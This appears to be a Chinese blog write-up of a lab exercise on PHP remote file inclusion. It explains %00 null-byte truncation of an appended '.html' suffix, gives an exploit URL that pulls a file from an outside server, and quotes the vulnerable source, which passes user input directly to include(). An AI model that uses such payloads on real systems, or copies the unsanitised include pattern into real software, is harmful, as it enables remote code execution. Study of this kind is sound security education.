01、题目分析
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,
直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。
在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞
如果服务器开启了远程访问文件功能,那么就可以利用文件包含漏洞下载存储在其他服务器上的文件来实现任意文件执行
这一题相比较于上一题只是给访问的文件添加后缀,因此我们只需要采用%00截断后面的后缀即可
02、文件包含
但是我的报错了,为啥,因为我的靶场是搭建在云服务器上的,上面的那个127.0.0.1是本机巡回地址,使用的前提是搭建网站的服务器和自己电脑处在同一局域网下,那么因此我只能换成外网服务器来进行任意文件上传
http://www.bdrwmy.cn:8001/fi/05.php?filename=http://114.115.167.13/1.txt%00
03、源码分析
<?php
if(isset($_GET['filename'])){ // 检查是否设置了 'filename' 参数
$filename = $_GET['filename']; // 获取 'filename' 参数的值,并赋给 $filename 变量
include($filename . ".html"); // 包含指定的文件内容,文件名为参数值拼接上 ".html" 后缀
}else{
exit(); // 如果未设置 'filename' 参数,则退出脚本执行
}
?>
标签:文件,http,包含,05,服务器,远程
From: https://www.cnblogs.com/bdrwmy/p/17643867.html